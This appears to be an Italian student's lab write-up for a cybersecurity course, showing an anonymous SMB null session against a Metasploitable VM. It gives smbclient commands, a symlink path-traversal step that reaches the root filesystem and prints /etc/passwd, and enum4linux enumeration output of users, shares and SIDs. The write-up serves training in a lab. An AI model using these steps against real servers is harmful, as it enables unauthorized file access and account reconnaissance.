

CPTP0524 – W15D1 - EXTRA

Null session e ARP Poisoning

Traccia:

1. Leggere il file /etc/passwd sul target Metasploitable sfruttando la vulnerabilità NULL Session di SMB con il tool smbclient.
2. Testare il comando: enum4linux.

SMBCLIENT

- Ricerca delle risorse condivise su metasploitable

➤ `smbclient -L //192.168.51.101`

```
> smbclient -L //192.168.51.101
Password for [WORKGROUP\kali]:
Anonymous login successful

      Sharename      Type      Comment
      -----
      print$         Disk      Printer Drivers
      tmp             Disk      oh noes!
      opt             Disk
      IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
      ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

      Server          Comment
      -----
      Workgroup       Master
      -----
      WORKGROUP       METASPLOITABLE
```

- Accesso da /tmp

> smbclient //192.168.51.101/tmp

```
> smbclient //192.168.51.101/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> |
```

- Creazione symlink

```
> posix
> symlink ../../../../../../ frenk
> cd frenk
> ls
```

```
smb: \> posix
Server supports CIFS extensions 1.0
Server supports CIFS capabilities acls pathnames
smb: /> symlink ../../../../../../ frenk
smb: /> cd frenk
smb: /frenk/> ls

.                DR          0   Sun May 20 21:36:12 2012
..               DR          0   Sun May 20 21:36:12 2012
initrd           DR          0   Wed Mar 17 00:57:40 2010
media           DR          0   Wed Mar 17 00:55:52 2010
bin             DR          0   Mon May 14 06:35:33 2012
lost+found      DR          0   Wed Mar 17 00:55:15 2010
mnt             DR          0   Wed Apr 28 23:16:56 2010
sbin           DR          0   Mon May 14 04:54:53 2012
initrd.img      R    7929183  Mon May 14 06:35:56 2012
home            DR          0   Fri Apr 16 09:16:02 2010
lib             DR          0   Mon May 14 06:35:22 2012
usr             DR          0   Wed Apr 28 07:06:37 2010
proc           DR          0   Tue Feb 25 20:22:43 2025
root           DR          0   Tue Feb 25 20:23:28 2025
sys            DR          0   Tue Feb 25 20:22:44 2025
boot           DR          0   Mon May 14 06:36:28 2012
nohup.out      R         8705   Tue Feb 25 20:23:28 2025
etc            DR          0   Tue Feb 25 20:23:05 2025
dev            DR          0   Tue Feb 25 20:22:58 2025
vmlinuz        R   1987288  Thu Apr 10 19:55:41 2008
opt            DR          0   Wed Mar 17 00:57:39 2010
var            DR          0   Wed Mar 17 16:08:23 2010
cdrom          DR          0   Wed Mar 17 00:55:51 2010
tmp            D          0   Tue Feb 25 21:25:44 2025
srv            DR          0   Wed Mar 17 00:57:38 2010

7282168 blocks of size 1024. 5433376 blocks available
```

- Stampa a schermo il file /etc/passwd

➤ more /etc/passwd

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002::,/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```


ENUM4LINUX

enum4linux 192.168.51.101

```
> enum4linux 192.168.51.101
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Feb 25 21:33:59 2025

===== ( Target Information ) =====
Target ..... 192.168.51.101
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 192.168.51.101 ) =====

[+] Got domain/workgroup name: WORKGROUP

===== ( Nbtstat Information for 192.168.51.101 ) =====
Looking up status of 192.168.51.101
  METASPLOITABLE <00> - B <ACTIVE> Workstation Service
  METASPLOITABLE <03> - B <ACTIVE> Messenger Service
  METASPLOITABLE <20> - B <ACTIVE> File Server Service
  .._MSBROWSE_.. <01> - <GROUP> B <ACTIVE> Master Browser
  WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
  WORKGROUP <1d> - B <ACTIVE> Master Browser
  WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
  MAC Address = 00-00-00-00-00-00
```

```
[+] Server 192.168.51.101 allows sessions using username '', password ''

===== ( Getting domain SID for 192.168.51.101 ) =====
Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup

===== ( OS information on 192.168.51.101 ) =====

[E] Can't get OS info with smbclient

[+] Got OS info for 192.168.51.101 from srvinfo:
  METASPLOITABLE Wk Sv PrQ Unx NT SNT metasploitable server (Samba 3.0.20-Debian)
  platform_id      :      500
  os version       :      4.9
  server type      :      0x9a03
```

```

===== ( Users on 192.168.51.101 ) =====
index: 0x1 RID: 0x3f2 acb: 0x00000011 Account: games Name: games Desc: (null)
index: 0x2 RID: 0x1f5 acb: 0x00000011 Account: nobody Name: nobody Desc: (null)
index: 0x3 RID: 0x4ba acb: 0x00000011 Account: bind Name: (null) Desc: (null)
index: 0x4 RID: 0x402 acb: 0x00000011 Account: proxy Name: proxy Desc: (null)
index: 0x5 RID: 0x4b4 acb: 0x00000011 Account: syslog Name: (null) Desc: (null)
index: 0x6 RID: 0xbba acb: 0x00000010 Account: user Name: just a user,111,, Desc: (null)
index: 0x7 RID: 0x42a acb: 0x00000011 Account: www-data Name: www-data Desc: (null)
index: 0x8 RID: 0x3e8 acb: 0x00000011 Account: root Name: root Desc: (null)
index: 0x9 RID: 0x3fa acb: 0x00000011 Account: news Name: news Desc: (null)
index: 0xa RID: 0x4c0 acb: 0x00000011 Account: postgres Name: PostgreSQL administrator,,, Desc: (null)
index: 0xb RID: 0x3ec acb: 0x00000011 Account: bin Name: bin Desc: (null)
index: 0xc RID: 0x3f8 acb: 0x00000011 Account: mail Name: mail Desc: (null)
index: 0xd RID: 0x4c6 acb: 0x00000011 Account: distccd Name: (null) Desc: (null)
index: 0xe RID: 0x4ca acb: 0x00000011 Account: proftpd Name: (null) Desc: (null)
index: 0xf RID: 0x4b2 acb: 0x00000011 Account: dhcp Name: (null) Desc: (null)
index: 0x10 RID: 0x3ea acb: 0x00000011 Account: daemon Name: daemon Desc: (null)
index: 0x11 RID: 0x4b8 acb: 0x00000011 Account: sshd Name: (null) Desc: (null)
index: 0x12 RID: 0x3f4 acb: 0x00000011 Account: man Name: man Desc: (null)
index: 0x13 RID: 0x3f6 acb: 0x00000011 Account: lp Name: lp Desc: (null)
index: 0x14 RID: 0x4c2 acb: 0x00000011 Account: mysql Name: MySQL Server,,, Desc: (null)
index: 0x15 RID: 0x43a acb: 0x00000011 Account: gnats Name: Gnats Bug-Reporting System (admin) Desc: (null)
index: 0x16 RID: 0x4b0 acb: 0x00000011 Account: libuuid Name: (null) Desc: (null)
index: 0x17 RID: 0x42c acb: 0x00000011 Account: backup Name: backup Desc: (null)
index: 0x18 RID: 0xb88 acb: 0x00000010 Account: msfadmin Name: msfadmin,,, Desc: (null)
index: 0x19 RID: 0x4c8 acb: 0x00000011 Account: telnetd Name: (null) Desc: (null)
index: 0x1a RID: 0x3ee acb: 0x00000011 Account: sys Name: sys Desc: (null)
index: 0x1b RID: 0x4b6 acb: 0x00000011 Account: klog Name: (null) Desc: (null)
index: 0x1c RID: 0x4bc acb: 0x00000011 Account: postfix Name: (null) Desc: (null)
index: 0x1d RID: 0xbbc acb: 0x00000011 Account: service Name:,,, Desc: (null)
index: 0x1e RID: 0x434 acb: 0x00000011 Account: list Name: Mailing List Manager Desc: (null)
index: 0x1f RID: 0x436 acb: 0x00000011 Account: irc Name: ircd Desc: (null)
index: 0x20 RID: 0x4be acb: 0x00000011 Account: ftp Name: (null) Desc: (null)
index: 0x21 RID: 0x4c4 acb: 0x00000011 Account: tomcat55 Name: (null) Desc: (null)
index: 0x22 RID: 0x3f0 acb: 0x00000011 Account: sync Name: sync Desc: (null)
index: 0x23 RID: 0x3fc acb: 0x00000011 Account: uucp Name: uucp Desc: (null)

user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]

```

```

===== ( Share Enumeration on 192.168.51.101 ) =====

Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
tmp            Disk      oh noes!
opt            Disk
IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

Reconnecting with SMB1 for workgroup listing.

Server         Comment
-----
Workgroup      Master
WORKGROUP     METASPLOITABLE

[+] Attempting to map shares on 192.168.51.101
//192.168.51.101/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.51.101/tmp Mapping: OK Listing: OK Writing: N/A
//192.168.51.101/opt Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.51.101/IPC$ Mapping: N/A Listing: N/A Writing: N/A
//192.168.51.101/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A

```


[+] Enumerating users using SID S-1-5-21-1042354039-2475377354-766472396 and logon username '', password ''

```
S-1-5-21-1042354039-2475377354-766472396-500 METASPLOITABLE\Administrator (Local User)
S-1-5-21-1042354039-2475377354-766472396-501 METASPLOITABLE\nobody (Local User)
S-1-5-21-1042354039-2475377354-766472396-512 METASPLOITABLE\Domain Admins (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-513 METASPLOITABLE\Domain Users (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-514 METASPLOITABLE\Domain Guests (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1000 METASPLOITABLE\root (Local User)
S-1-5-21-1042354039-2475377354-766472396-1001 METASPLOITABLE\root (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1002 METASPLOITABLE\daemon (Local User)
S-1-5-21-1042354039-2475377354-766472396-1003 METASPLOITABLE\daemon (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1004 METASPLOITABLE\bin (Local User)
S-1-5-21-1042354039-2475377354-766472396-1005 METASPLOITABLE\bin (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1006 METASPLOITABLE\sys (Local User)
S-1-5-21-1042354039-2475377354-766472396-1007 METASPLOITABLE\sys (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1008 METASPLOITABLE\sync (Local User)
S-1-5-21-1042354039-2475377354-766472396-1009 METASPLOITABLE\adm (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1010 METASPLOITABLE\games (Local User)
S-1-5-21-1042354039-2475377354-766472396-1011 METASPLOITABLE\tty (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1012 METASPLOITABLE\man (Local User)
S-1-5-21-1042354039-2475377354-766472396-1013 METASPLOITABLE\disk (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1014 METASPLOITABLE\lp (Local User)
S-1-5-21-1042354039-2475377354-766472396-1015 METASPLOITABLE\lp (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1016 METASPLOITABLE\mail (Local User)
S-1-5-21-1042354039-2475377354-766472396-1017 METASPLOITABLE\mail (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1018 METASPLOITABLE\news (Local User)
S-1-5-21-1042354039-2475377354-766472396-1019 METASPLOITABLE\news (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1020 METASPLOITABLE\uucp (Local User)
S-1-5-21-1042354039-2475377354-766472396-1021 METASPLOITABLE\uucp (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1025 METASPLOITABLE\man (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1026 METASPLOITABLE\proxy (Local User)
S-1-5-21-1042354039-2475377354-766472396-1027 METASPLOITABLE\proxy (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1031 METASPLOITABLE\kmem (Domain Group)
S-1-5-21-1042354039-2475377354-766472396-1034 METASPLOITABLE\kmem (Domain Group)
```

Francesco Rinaldi